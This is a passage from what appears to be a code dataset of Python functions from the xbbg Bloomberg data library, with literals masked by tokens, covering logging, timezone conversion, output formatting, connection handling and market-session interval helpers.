pd.read_parquet('xbbg/tests/data/aapl.parq')\n    >>> save_intraday(sample, 'AAPL US Equity', '2018-11-02')\n    >>> # Invalid exchange\n    >>> save_intraday(sample, 'AAPL XX Equity', '2018-11-02')\n    >>> # Invalid empty data\n    >>> save_intraday(pd.DataFrame(), 'AAPL US Equity', '2018-11-02')\n    >>> # Invalid date - too close\n    >>> cur_dt = utils.cur_time()\n    >>> save_intraday(sample, 'AAPL US Equity', cur_dt)", "id": "f163:m2"}
{"signature": "def get_logger(name_or_func, level=LOG_LEVEL, types='<STR_LIT>', **kwargs):", "body": "if isinstance(level, str): level = getattr(logging, level.upper())<EOL>log_name = utils.func_scope(name_or_func) if callable(name_or_func) else name_or_func<EOL>logger = logging.getLogger(name=log_name)<EOL>logger.setLevel(level=level)<EOL>if not len(logger.handlers):<EOL><INDENT>formatter = logging.Formatter(fmt=kwargs.get('<STR_LIT>', LOG_FMT))<EOL>if '<STR_LIT:file>' in types and '<STR_LIT>' in kwargs:<EOL><INDENT>file_handler = logging.FileHandler(kwargs['<STR_LIT>'])<EOL>file_handler.setFormatter(fmt=formatter)<EOL>logger.addHandler(file_handler)<EOL><DEDENT>if '<STR_LIT>' in types:<EOL><INDENT>stream_handler = logging.StreamHandler()<EOL>stream_handler.setFormatter(fmt=formatter)<EOL>logger.addHandler(stream_handler)<EOL><DEDENT><DEDENT>return logger<EOL>", "docstring": "Generate logger\n\nArgs:\n    name_or_func: logger name or current running function\n    level: level of logs - debug, info, error\n    types: file or stream, or both\n\nReturns:\n    logger\n\nExamples:\n    >>> get_logger(name_or_func='download_data', level='debug', types='stream')\n    <Logger download_data (DEBUG)>\n    >>> get_logger(name_or_func='preprocess', log_file='pre.log', types='file|stream')\n    <Logger preprocess (CRITICAL)>", "id": "f164:m0"}
{"signature": "def get_tz(tz) -> str:", "body": "from xbbg.const import exch_info<EOL>if tz is None: return DEFAULT_TZ<EOL>to_tz = tz<EOL>if isinstance(tz, str):<EOL><INDENT>if hasattr(TimeZone, tz):<EOL><INDENT>to_tz = getattr(TimeZone, tz)<EOL><DEDENT>else:<EOL><INDENT>exch = exch_info(ticker=tz)<EOL>if '<STR_LIT>' in exch.index:<EOL><INDENT>to_tz = exch.tz<EOL><DEDENT><DEDENT><DEDENT>return to_tz<EOL>", "docstring": "Convert tz from ticker / shorthands to timezone\n\nArgs:\n    tz: ticker or timezone shorthands\n\nReturns:\n    str: Python timzone\n\nExamples:\n    >>> get_tz('NY')\n    'America/New_York'\n    >>> get_tz(TimeZone.NY)\n    'America/New_York'\n    >>> get_tz('BHP AU Equity')\n    'Australia/Sydney'", "id": "f165:m0"}
{"signature": "def tz_convert(dt, to_tz, from_tz=None) -> str:", "body": "logger = logs.get_logger(tz_convert, level='<STR_LIT:info>')<EOL>f_tz, t_tz = get_tz(from_tz), get_tz(to_tz)<EOL>from_dt = pd.Timestamp(str(dt), tz=f_tz)<EOL>logger.debug(f'<STR_LIT>')<EOL>return str(pd.Timestamp(str(from_dt), tz=t_tz))<EOL>", "docstring": "Convert to tz\n\nArgs:\n    dt: date time\n    to_tz: to tz\n    from_tz: from tz - will be ignored if tz from dt is given\n\nReturns:\n    str: date & time\n\nExamples:\n    >>> dt_1 = pd.Timestamp('2018-09-10 16:00', tz='Asia/Hong_Kong')\n    >>> tz_convert(dt_1, to_tz='NY')\n    '2018-09-10 04:00:00-04:00'\n    >>> dt_2 = pd.Timestamp('2018-01-10 16:00')\n    >>> tz_convert(dt_2, to_tz='HK', from_tz='NY')\n    '2018-01-11 05:00:00+08:00'\n    >>> dt_3 = '2018-09-10 15:00'\n    >>> tz_convert(dt_3, to_tz='NY', from_tz='JP')\n    '2018-09-10 02:00:00-04:00'", "id": "f165:m1"}
{"signature": "def proc_ovrds(**kwargs):", "body": "return [<EOL>(k, v) for k, v in kwargs.items()<EOL>if k not in list(ELEM_KEYS.keys()) + list(ELEM_KEYS.values()) + PRSV_COLS<EOL>]<EOL>", "docstring": "Bloomberg overrides\n\nArgs:\n    **kwargs: overrides\n\nReturns:\n    list of tuples\n\nExamples:\n    >>> proc_ovrds(DVD_Start_Dt='20180101')\n    [('DVD_Start_Dt', '20180101')]\n    >>> proc_ovrds(DVD_Start_Dt='20180101', cache=True, has_date=True)\n    [('DVD_Start_Dt', '20180101')]", "id": "f166:m0"}
{"signature": "def proc_elms(**kwargs) -> list:", "body": "return [<EOL>(ELEM_KEYS.get(k, k), ELEM_VALS.get(ELEM_KEYS.get(k, k), dict()).get(v, v))<EOL>for k, v in kwargs.items()<EOL>if (k in list(ELEM_KEYS.keys()) + list(ELEM_KEYS.values()))<EOL>and (k not in PRSV_COLS)<EOL>]<EOL>", "docstring": "Bloomberg overrides for elements\n\nArgs:\n    **kwargs: overrides\n\nReturns:\n    list of tuples\n\nExamples:\n    >>> proc_elms(PerAdj='A', Per='W')\n    [('periodicityAdjustment', 'ACTUAL'), ('periodicitySelection', 'WEEKLY')]\n    >>> proc_elms(Days='A', Fill='B')\n    [('nonTradingDayFillOption', 'ALL_CALENDAR_DAYS'), ('nonTradingDayFillMethod', 'NIL_VALUE')]\n    >>> proc_elms(CshAdjNormal=False, CshAdjAbnormal=True)\n    [('adjustmentNormal', False), ('adjustmentAbnormal', True)]\n    >>> proc_elms(Per='W', Quote='Average', start_date='2018-01-10')\n    [('periodicitySelection', 'WEEKLY'), ('overrideOption', 'OVERRIDE_OPTION_GPA')]\n    >>> proc_elms(QuoteType='Y')\n    [('pricingOption', 'PRICING_OPTION_YIELD')]\n    >>> proc_elms(QuoteType='Y', cache=True)\n    [('pricingOption', 'PRICING_OPTION_YIELD')]", "id": "f166:m1"}
{"signature": "def format_earning(data: pd.DataFrame, header: pd.DataFrame) -> pd.DataFrame:", "body": "if data.dropna(subset=['<STR_LIT:value>']).empty: return pd.DataFrame()<EOL>res = pd.concat([<EOL>grp.loc[:, ['<STR_LIT:value>']].set_index(header.value)<EOL>for _, grp in data.groupby(data.position)<EOL>], axis=<NUM_LIT:1>)<EOL>res.index.name = None<EOL>res.columns = res.iloc[<NUM_LIT:0>]<EOL>res = res.iloc[<NUM_LIT:1>:].transpose().reset_index().apply(<EOL>pd.to_numeric, downcast='<STR_LIT:float>', errors='<STR_LIT:ignore>'<EOL>)<EOL>res.rename(<EOL>columns=lambda vv: '<STR_LIT:_>'.join(vv.lower().split()).replace('<STR_LIT>', '<STR_LIT>'),<EOL>inplace=True,<EOL>)<EOL>years = res.columns[res.columns.str.startswith('<STR_LIT>')]<EOL>lvl_1 = res.level == <NUM_LIT:1><EOL>for yr in years:<EOL><INDENT>res.loc[:, yr] = res.loc[:, yr].round(<NUM_LIT:1>)<EOL>pct = f'<STR_LIT>'<EOL>res.loc[:, pct] = <NUM_LIT:0.><EOL>res.loc[lvl_1, pct] = res.loc[lvl_1, pct].astype(float).round(<NUM_LIT:1>)<EOL>res.loc[lvl_1, pct] = res.loc[lvl_1, yr] / res.loc[lvl_1, yr].sum() * <NUM_LIT:100><EOL>sub_pct = []<EOL>for _, snap in res[::-<NUM_LIT:1>].iterrows():<EOL><INDENT>if snap.level > <NUM_LIT:2>: continue<EOL>if snap.level == <NUM_LIT:1>:<EOL><INDENT>if len(sub_pct) == <NUM_LIT:0>: continue<EOL>sub = pd.concat(sub_pct, axis=<NUM_LIT:1>).transpose()<EOL>res.loc[sub.index, pct] =res.loc[sub.index, yr] / res.loc[sub.index, yr].sum() * <NUM_LIT:100><EOL>sub_pct = []<EOL><DEDENT>if snap.level == <NUM_LIT:2>: sub_pct.append(snap)<EOL><DEDENT><DEDENT>res.set_index('<STR_LIT>', inplace=True)<EOL>res.index.name = None<EOL>return res<EOL>", "docstring": "Standardized earning outputs and add percentage by each blocks\n\nArgs:\n    data: earning data block\n    header: earning headers\n\nReturns:\n    pd.DataFrame\n\nExamples:\n    >>> format_earning(\n    ...     data=pd.read_pickle('xbbg/tests/data/sample_earning.pkl'),\n    ...     header=pd.read_pickle('xbbg/tests/data/sample_earning_header.pkl')\n    ... ).round(2)\n                     level  fy2017  fy2017_pct\n    Asia-Pacific       1.0  3540.0       66.43\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0China           2.0  1747.0       49.35\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Japan           2.0  1242.0       35.08\n    \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Singapore       2.0   551.0       15.56\n    United States      1.0  1364.0       25.60\n    Europe             1.0   263.0        4.94\n    Other Countries    1.0   162.0        3.04", "id": "f166:m2"}
{"signature": "def format_output(data: pd.DataFrame, source, col_maps=None) -> pd.DataFrame:", "body": "if data.empty: return pd.DataFrame()<EOL>if source == '<STR_LIT>': req_cols = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:value>']<EOL>else: req_cols = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:name>', '<STR_LIT:value>', '<STR_LIT>']<EOL>if any(col not in data for col in req_cols): return pd.DataFrame()<EOL>if data.dropna(subset=['<STR_LIT:value>']).empty: return pd.DataFrame()<EOL>if source == '<STR_LIT>':<EOL><INDENT>res = pd.DataFrame(pd.concat([<EOL>pd.Series({**{'<STR_LIT>': t}, **grp.set_index('<STR_LIT>').value.to_dict()})<EOL>for t, grp in data.groupby('<STR_LIT>')<EOL>], axis=<NUM_LIT:1>, sort=False)).transpose().set_index('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>res = pd.DataFrame(pd.concat([<EOL>grp.loc[:, ['<STR_LIT:name>', '<STR_LIT:value>']].set_index('<STR_LIT:name>')<EOL>.transpose().reset_index(drop=True).assign(ticker=t)<EOL>for (t, _), grp in data.groupby(['<STR_LIT>', '<STR_LIT>'])<EOL>], sort=False)).reset_index(drop=True).set_index('<STR_LIT>')<EOL>res.columns.name = None<EOL><DEDENT>if col_maps is None: col_maps = dict()<EOL>return res.rename(<EOL>columns=lambda vv: col_maps.get(<EOL>vv, vv.lower().replace('<STR_LIT:U+0020>', '<STR_LIT:_>').replace('<STR_LIT:->', '<STR_LIT:_>')<EOL>)<EOL>).apply(pd.to_numeric, errors='<STR_LIT:ignore>', downcast='<STR_LIT:float>')<EOL>", "docstring": "Format `pdblp` outputs to column-based results\n\nArgs:\n    data: `pdblp` result\n    source: `bdp` or `bds`\n    col_maps: rename columns with these mappings\n\nReturns:\n    pd.DataFrame\n\nExamples:\n    >>> format_output(\n    ...     data=pd.read_pickle('xbbg/tests/data/sample_bdp.pkl'),\n    ...     source='bdp'\n    ... ).reset_index()\n              ticker                        name\n    0  QQQ US Equity  INVESCO QQQ TRUST SERIES 1\n    1  SPY US Equity      SPDR S&P 500 ETF TRUST\n    >>> format_output(\n    ...     data=pd.read_pickle('xbbg/tests/data/sample_dvd.pkl'),\n    ...     source='bds', col_maps={'Dividend Frequency': 'dvd_freq'}\n    ... ).loc[:, ['ex_date', 'dividend_amount', 'dvd_freq']].reset_index()\n            ticker     ex_date  dividend_amount dvd_freq\n    0  C US Equity  2018-02-02             0.32  Quarter", "id": "f166:m3"}
{"signature": "def format_intraday(data: pd.DataFrame, ticker, **kwargs) -> pd.DataFrame:", "body": "if data.empty: return pd.DataFrame()<EOL>data.columns = pd.MultiIndex.from_product([<EOL>[ticker], data.rename(columns=dict(numEvents='<STR_LIT>')).columns<EOL>], names=['<STR_LIT>', '<STR_LIT>'])<EOL>data.index.name = None<EOL>if kwargs.get('<STR_LIT>', False):<EOL><INDENT>kw_xs = dict(axis=<NUM_LIT:1>, level=<NUM_LIT:1>)<EOL>close = data.xs('<STR_LIT>', **kw_xs)<EOL>volume = data.xs('<STR_LIT>', **kw_xs).iloc[:, <NUM_LIT:0>]<EOL>return close.loc[volume > <NUM_LIT:0>] if volume.min() > <NUM_LIT:0> else close<EOL><DEDENT>else: return data<EOL>", "docstring": "Format intraday data\n\nArgs:\n    data: pd.DataFrame from bdib\n    ticker: ticker\n\nReturns:\n    pd.DataFrame\n\nExamples:\n    >>> format_intraday(\n    ...     data=pd.read_parquet('xbbg/tests/data/sample_bdib.parq'),\n    ...     ticker='SPY US Equity',\n    ... ).xs('close', axis=1, level=1, drop_level=False)\n    ticker                    SPY US Equity\n    field                             close\n    2018-12-28 09:30:00-05:00        249.67\n    2018-12-28 09:31:00-05:00        249.54\n    2018-12-28 09:32:00-05:00        249.22\n    2018-12-28 09:33:00-05:00        249.01\n    2018-12-28 09:34:00-05:00        248.86\n    >>> format_intraday(\n    ...     data=pd.read_parquet('xbbg/tests/data/sample_bdib.parq'),\n    ...     ticker='SPY US Equity', price_only=True\n    ... )\n    ticker                     SPY US Equity\n    2018-12-28 09:30:00-05:00         249.67\n    2018-12-28 09:31:00-05:00         249.54\n    2018-12-28 09:32:00-05:00         249.22\n    2018-12-28 09:33:00-05:00         249.01\n    2018-12-28 09:34:00-05:00         248.86", "id": "f166:m4"}
{"signature": "def info_qry(tickers, flds) -> str:", "body": "full_list = '<STR_LIT:\\n>'.join([f'<STR_LIT>'] + [<EOL>f'<STR_LIT>' for n in range(<NUM_LIT:8>, len(tickers), <NUM_LIT:8>)<EOL>])<EOL>return f'<STR_LIT>'<EOL>", "docstring": "Logging info for given tickers and fields\n\nArgs:\n    tickers: tickers\n    flds: fields\n\nReturns:\n    str\n\nExamples:\n    >>> print(info_qry(\n    ...     tickers=['NVDA US Equity'], flds=['Name', 'Security_Name']\n    ... ))\n    tickers: ['NVDA US Equity']\n    fields:  ['Name', 'Security_Name']", "id": "f166:m5"}
{"signature": "def missing_info(**kwargs) -> str:", "body": "func = kwargs.pop('<STR_LIT>', '<STR_LIT>')<EOL>if '<STR_LIT>' in kwargs: kwargs['<STR_LIT>'] = kwargs['<STR_LIT>'].replace('<STR_LIT:/>', '<STR_LIT:_>')<EOL>info = utils.to_str(kwargs, fmt='<STR_LIT>', sep='<STR_LIT:/>')[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>return f'<STR_LIT>'<EOL>", "docstring": "Full infomation for missing query", "id": "f167:m0"}
{"signature": "def current_missing(**kwargs) -> int:", "body": "data_path = os.environ.get(BBG_ROOT, '<STR_LIT>').replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if not data_path: return <NUM_LIT:0><EOL>return len(files.all_files(f'<STR_LIT>'))<EOL>", "docstring": "Check number of trials for missing values\n\nReturns:\n    int: number of trials already tried", "id": "f167:m1"}
{"signature": "def update_missing(**kwargs):", "body": "data_path = os.environ.get(BBG_ROOT, '<STR_LIT>').replace('<STR_LIT:\\\\>', '<STR_LIT:/>')<EOL>if not data_path: return<EOL>if len(kwargs) == <NUM_LIT:0>: return<EOL>log_path = f'<STR_LIT>'<EOL>cnt = len(files.all_files(log_path)) + <NUM_LIT:1><EOL>files.create_folder(log_path)<EOL>open(f'<STR_LIT>', '<STR_LIT:a>').close()<EOL>", "docstring": "Update number of trials for missing values", "id": "f167:m2"}
{"signature": "def with_bloomberg(func):", "body": "@wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>scope = utils.func_scope(func=func)<EOL>param = inspect.signature(func).parameters<EOL>port = kwargs.pop('<STR_LIT:port>', _PORT_)<EOL>timeout = kwargs.pop('<STR_LIT>', _TIMEOUT_)<EOL>restart = kwargs.pop('<STR_LIT>', False)<EOL>all_kw = {<EOL>k: args[n] if n < len(args) else v.default<EOL>for n, (k, v) in enumerate(param.items()) if k != '<STR_LIT>'<EOL>}<EOL>all_kw.update(kwargs)<EOL>log_level = kwargs.get('<STR_LIT>', logs.LOG_LEVEL)<EOL>for to_list in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>conv = all_kw.get(to_list, None)<EOL>if hasattr(conv, '<STR_LIT>'):<EOL><INDENT>all_kw[to_list] = getattr(conv, '<STR_LIT>')()<EOL><DEDENT>if isinstance(conv, str):<EOL><INDENT>all_kw[to_list] = [conv]<EOL><DEDENT><DEDENT>cached_data = []<EOL>if scope in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>to_qry = cached.bdp_bds_cache(func=func.__name__, **all_kw)<EOL>cached_data += to_qry.cached_data<EOL>if not (to_qry.tickers and to_qry.flds):<EOL><INDENT>if not cached_data: return pd.DataFrame()<EOL>res = pd.concat(cached_data, sort=False).reset_index(drop=True)<EOL>if not all_kw.get('<STR_LIT>', False):<EOL><INDENT>res = assist.format_output(<EOL>data=res, source=func.__name__,<EOL>col_maps=all_kw.get('<STR_LIT>', dict())<EOL>)<EOL><DEDENT>return res<EOL><DEDENT>all_kw['<STR_LIT>'] = to_qry.tickers<EOL>all_kw['<STR_LIT>'] = to_qry.flds<EOL><DEDENT>if scope in ['<STR_LIT>']:<EOL><INDENT>data_file = storage.hist_file(<EOL>ticker=all_kw['<STR_LIT>'], dt=all_kw['<STR_LIT>'], typ=all_kw['<STR_LIT>'],<EOL>)<EOL>if files.exists(data_file):<EOL><INDENT>logger = logs.get_logger(func, level=log_level)<EOL>if all_kw.get('<STR_LIT>', False): return<EOL>logger.debug(f'<STR_LIT>')<EOL>return assist.format_intraday(data=pd.read_parquet(data_file), **all_kw)<EOL><DEDENT><DEDENT>_, new = create_connection(port=port, timeout=timeout, restart=restart)<EOL>res = func(**{<EOL>k: v for k, v in all_kw.items() if k not in ['<STR_LIT>', '<STR_LIT>']<EOL>})<EOL>if new: delete_connection()<EOL>if scope.startswith('<STR_LIT>') and isinstance(res, list):<EOL><INDENT>final = cached_data + res<EOL>if not final: return pd.DataFrame()<EOL>res = pd.DataFrame(pd.concat(final, sort=False))<EOL><DEDENT>if (scope in ['<STR_LIT>', '<STR_LIT>'])and (not all_kw.get('<STR_LIT>', False)):<EOL><INDENT>res = assist.format_output(<EOL>data=res.reset_index(drop=True), source=func.__name__,<EOL>col_maps=all_kw.get('<STR_LIT>', dict()),<EOL>)<EOL><DEDENT>return res<EOL><DEDENT>return wrapper<EOL>", "docstring": "Wrapper function for Bloomberg connection\n\nArgs:\n    func: function to wrap", "id": "f169:m0"}
{"signature": "def create_connection(port=_PORT_, timeout=_TIMEOUT_, restart=False):", "body": "if _CON_SYM_ in globals():<EOL><INDENT>if not isinstance(globals()[_CON_SYM_], pdblp.BCon):<EOL><INDENT>del globals()[_CON_SYM_]<EOL><DEDENT><DEDENT>if (_CON_SYM_ in globals()) and (not restart):<EOL><INDENT>con = globals()[_CON_SYM_]<EOL>if getattr(con, '<STR_LIT>').start(): con.start()<EOL>return con, False<EOL><DEDENT>else:<EOL><INDENT>con = pdblp.BCon(port=port, timeout=timeout)<EOL>globals()[_CON_SYM_] = con<EOL>con.start()<EOL>return con, True<EOL><DEDENT>", "docstring": "Create Bloomberg connection\n\nReturns:\n    (Bloomberg connection, if connection is new)", "id": "f169:m1"}
{"signature": "def delete_connection():", "body": "if _CON_SYM_ in globals():<EOL><INDENT>con = globals().pop(_CON_SYM_)<EOL>if not getattr(con, '<STR_LIT>').start(): con.stop()<EOL><DEDENT>", "docstring": "Stop and destroy Bloomberg connection", "id": "f169:m2"}
{"signature": "def flatten(iterable, maps=None, unique=False) -> list:", "body": "if iterable is None: return []<EOL>if maps is None: maps = dict()<EOL>if isinstance(iterable, (str, int, float)):<EOL><INDENT>return [maps.get(iterable, iterable)]<EOL><DEDENT>else:<EOL><INDENT>x = [maps.get(item, item) for item in _to_gen_(iterable)]<EOL>return list(set(x)) if unique else x<EOL><DEDENT>", "docstring": "Flatten any array of items to list\n\nArgs:\n    iterable: any array or value\n    maps: map items to values\n    unique: drop duplicates\n\nReturns:\n    list: flattened list\n\nReferences:\n    https://stackoverflow.com/a/40857703/1332656\n\nExamples:\n    >>> flatten('abc')\n    ['abc']\n    >>> flatten(1)\n    [1]\n    >>> flatten(1.)\n    [1.0]\n    >>> flatten(['ab', 'cd', ['xy', 'zz']])\n    ['ab', 'cd', 'xy', 'zz']\n    >>> flatten(['ab', ['xy', 'zz']], maps={'xy': '0x'})\n    ['ab', '0x', 'zz']", "id": "f170:m0"}
{"signature": "def _to_gen_(iterable):", "body": "from collections import Iterable<EOL>for elm in iterable:<EOL><INDENT>if isinstance(elm, Iterable) and not isinstance(elm, (str, bytes)):<EOL><INDENT>yield from flatten(elm)<EOL><DEDENT>else: yield elm<EOL><DEDENT>", "docstring": "Recursively iterate lists and tuples", "id": "f170:m1"}
{"signature": "def fmt_dt(dt, fmt='<STR_LIT>') -> str:", "body": "return pd.Timestamp(dt).strftime(fmt)<EOL>", "docstring": "Format date string\n\nArgs:\n    dt: any date format\n    fmt: output date format\n\nReturns:\n    str: date format\n\nExamples:\n    >>> fmt_dt(dt='2018-12')\n    '2018-12-01'\n    >>> fmt_dt(dt='2018-12-31', fmt='%Y%m%d')\n    '20181231'", "id": "f170:m2"}
{"signature": "def cur_time(typ='<STR_LIT:date>', tz=DEFAULT_TZ) -> (datetime.date, str):", "body": "dt = pd.Timestamp('<STR_LIT>', tz=tz)<EOL>if typ == '<STR_LIT:date>': return dt.strftime('<STR_LIT>')<EOL>if typ == '<STR_LIT:time>': return dt.strftime('<STR_LIT>')<EOL>if typ == '<STR_LIT>': return dt.strftime('<STR_LIT>')<EOL>if typ == '<STR_LIT>': return dt<EOL>return dt.date()<EOL>", "docstring": "Current time\n\nArgs:\n    typ: one of ['date', 'time', 'time_path', 'raw', '']\n    tz: timezone\n\nReturns:\n    relevant current time or date\n\nExamples:\n    >>> cur_dt = pd.Timestamp('now')\n    >>> cur_time(typ='date') == cur_dt.strftime('%Y-%m-%d')\n    True\n    >>> cur_time(typ='time') == cur_dt.strftime('%Y-%m-%d %H:%M:%S')\n    True\n    >>> cur_time(typ='time_path') == cur_dt.strftime('%Y-%m-%d/%H-%M-%S')\n    True\n    >>> isinstance(cur_time(typ='raw', tz='Europe/London'), pd.Timestamp)\n    True\n    >>> cur_time(typ='') == cur_dt.date()\n    True", "id": "f170:m3"}
{"signature": "def fstr(fmt, **kwargs) -> str:", "body": "locals().update(kwargs)<EOL>return f'<STR_LIT>'<EOL>", "docstring": "Delayed evaluation of f-strings\n\nArgs:\n    fmt: f-string but in terms of normal string, i.e., '{path}/{file}.parq'\n    **kwargs: variables for f-strings, i.e., path, file = '/data', 'daily'\n\nReturns:\n    FString object\n\nReferences:\n    https://stackoverflow.com/a/42497694/1332656\n    https://stackoverflow.com/a/4014070/1332656\n\nExamples:\n    >>> fmt = '{data_path}/{data_file}.parq'\n    >>> fstr(fmt, data_path='your/data/path', data_file='sample')\n    'your/data/path/sample.parq'", "id": "f170:m4"}
{"signature": "def to_str(<EOL>data: dict, fmt='<STR_LIT>', sep='<STR_LIT:U+002CU+0020>', public_only=True<EOL>) -> str:", "body": "if public_only: keys = list(filter(lambda vv: vv[<NUM_LIT:0>] != '<STR_LIT:_>', data.keys()))<EOL>else: keys = list(data.keys())<EOL>return '<STR_LIT:{>' + sep.join([<EOL>to_str(data=v, fmt=fmt, sep=sep)<EOL>if isinstance(v, dict) else fstr(fmt=fmt, key=k, value=v)<EOL>for k, v in data.items() if k in keys<EOL>]) + '<STR_LIT:}>'<EOL>", "docstring": "Convert dict to string\n\nArgs:\n    data: dict\n    fmt: how key and value being represented\n    sep: how pairs of key and value are seperated\n    public_only: if display public members only\n\nReturns:\n    str: string representation of dict\n\nExamples:\n    >>> test_dict = dict(b=1, a=0, c=2, _d=3)\n    >>> to_str(test_dict)\n    '{b=1, a=0, c=2}'\n    >>> to_str(test_dict, sep='|')\n    '{b=1|a=0|c=2}'\n    >>> to_str(test_dict, public_only=False)\n    '{b=1, a=0, c=2, _d=3}'", "id": "f170:m5"}
{"signature": "def func_scope(func) -> str:", "body": "cur_mod = sys.modules[func.__module__]<EOL>return f'<STR_LIT>'<EOL>", "docstring": "Function scope name\n\nArgs:\n    func: python function\n\nReturns:\n    str: module_name.func_name\n\nExamples:\n    >>> func_scope(flatten)\n    'xbbg.core.utils.flatten'\n    >>> func_scope(time.strftime)\n    'time.strftime'", "id": "f170:m6"}
{"signature": "def load_module(full_path):", "body": "from importlib import util<EOL>file_name = full_path.replace('<STR_LIT:\\\\>', '<STR_LIT:/>').split('<STR_LIT:/>')[-<NUM_LIT:1>]<EOL>if file_name[-<NUM_LIT:3>:] != '<STR_LIT>':<EOL><INDENT>raise ImportError(f'<STR_LIT>')<EOL><DEDENT>module_name = file_name[:-<NUM_LIT:3>]<EOL>spec = util.spec_from_file_location(name=module_name, location=full_path)<EOL>module = util.module_from_spec(spec=spec)<EOL>spec.loader.exec_module(module=module)<EOL>return module<EOL>", "docstring": "Load module from full path\nArgs:\n    full_path: module full path name\nReturns:\n    python module\nReferences:\n    https://stackoverflow.com/a/67692/1332656\nExamples:\n    >>> import os\n    >>>\n    >>> cur_file = os.path.abspath(__file__).replace('\\\\\\\\', '/')\n    >>> cur_path = '/'.join(cur_file.split('/')[:-1])\n    >>> load_module(f'{cur_path}/timezone.py').__name__\n    'timezone'\n    >>> load_module(f'{cur_path}/timezone.pyc')\n    Traceback (most recent call last):\n    ImportError: not a python file: timezone.pyc", "id": "f170:m7"}
{"signature": "def get_interval(ticker, session) -> Session:", "body": "if '<STR_LIT:_>' not in session:<EOL><INDENT>session = f'<STR_LIT>'<EOL><DEDENT>interval = Intervals(ticker=ticker)<EOL>ss_info = session.split('<STR_LIT:_>')<EOL>return getattr(interval, f'<STR_LIT>')(*ss_info)<EOL>", "docstring": "Get interval from defined session\n\nArgs:\n    ticker: ticker\n    session: session\n\nReturns:\n    Session of start_time and end_time\n\nExamples:\n    >>> get_interval('005490 KS Equity', 'day_open_30')\n    Session(start_time='09:00', end_time='09:30')\n    >>> get_interval('005490 KS Equity', 'day_normal_30_20')\n    Session(start_time='09:31', end_time='15:00')\n    >>> get_interval('005490 KS Equity', 'day_close_20')\n    Session(start_time='15:01', end_time='15:20')\n    >>> get_interval('700 HK Equity', 'am_open_30')\n    Session(start_time='09:30', end_time='10:00')\n    >>> get_interval('700 HK Equity', 'am_normal_30_30')\n    Session(start_time='10:01', end_time='11:30')\n    >>> get_interval('700 HK Equity', 'am_close_30')\n    Session(start_time='11:31', end_time='12:00')\n    >>> get_interval('ES1 Index', 'day_exact_2130_2230')\n    Session(start_time=None, end_time=None)\n    >>> get_interval('ES1 Index', 'allday_exact_2130_2230')\n    Session(start_time='21:30', end_time='22:30')\n    >>> get_interval('ES1 Index', 'allday_exact_2130_0230')\n    Session(start_time='21:30', end_time='02:30')\n    >>> get_interval('AMLP US', 'day_open_30')\n    Session(start_time=None, end_time=None)\n    >>> get_interval('7974 JP Equity', 'day_normal_180_300') is SessNA\n    True\n    >>> get_interval('Z 1 Index', 'allday_normal_30_30')\n    Session(start_time='01:31', end_time='20:30')\n    >>> get_interval('GBP Curncy', 'day')\n    Session(start_time='17:02', end_time='17:00')", "id": "f171:m0"}
{"signature": "def shift_time(start_time, mins) -> str:", "body": "s_time = pd.Timestamp(start_time)<EOL>e_time = s_time + np.sign(mins) * pd.Timedelta(f'<STR_LIT>')<EOL>return e_time.strftime('<STR_LIT>')<EOL>", "docstring": "Shift start time by mins\n\nArgs:\n    start_time: start time in terms of HH:MM string\n    mins: number of minutes (+ / -)\n\nReturns:\n    end time in terms of HH:MM string", "id": "f171:m1"}
{"signature": "def __init__(self, ticker):", "body": "self.ticker = ticker<EOL>self.exch = const.exch_info(ticker=ticker)<EOL>", "docstring": "Args:\n    ticker: ticker", "id": "f171:c0:m0"}
{"signature": "def market_open(self, session, mins) -> Session:", "body": "if session not in self.exch: return SessNA<EOL>start_time = self.exch[session][<NUM_LIT:0>]<EOL>return Session(start_time, shift_time(start_time, int(mins)))<EOL>", "docstring": "Time intervals for market open\n\nArgs:\n    session: [allday, day, am, pm, night]\n    mins: mintues after open\n\nReturns:\n    Session of start_time and end_time", "id": "f171:c0:m1"}
{"signature": "def market_close(self, session, mins) -> Session:", "body": "if session not in self.exch: return SessNA<EOL>end_time = self.exch[session][-<NUM_LIT:1>]<EOL>return Session(shift_time(end_time, -int(mins) + <NUM_LIT:1>), end_time)<EOL>", "docstring": "Time intervals for market close\n\nArgs:\n    session: [allday, day, am, pm, night]\n    mins: mintues before close\n\nReturns:\n    Session of start_time and end_time", "id": "f171:c0:m2"}
{"signature": "def market_normal(self, session, after_open, before_close) -> Session:", "body": "logger = logs.get_logger(self.market_normal)<EOL>if session not in self.exch: return SessNA<EOL>ss = self.exch[session]<EOL>s_time = shift_time(ss[<NUM_LIT:0>], int(after_open) + <NUM_LIT:1>)<EOL>e_time = shift_time(ss[-<NUM_LIT:1>], -int(before_close))<EOL>request_cross = pd.Timestamp(s_time) >= pd.Timestamp(e_time)<EOL>session_cross = pd.Timestamp(ss[<NUM_LIT:0>]) >= pd.Timestamp(ss[<NUM_LIT:1>])<EOL>if request_cross and (not session_cross):<EOL><INDENT>logger.warning(f'<STR_LIT>')<EOL>return SessNA<EOL><DEDENT>return Session(s_time, e_time)<EOL>", "docstring": "Time intervals between market\n\nArgs:\n    session: [allday, day, am, pm, night]\n    after_open: mins after open\n    before_close: mins before close\n\nReturns:\n    Session of start_time and end_time", "id": "f171:c0:m3"}
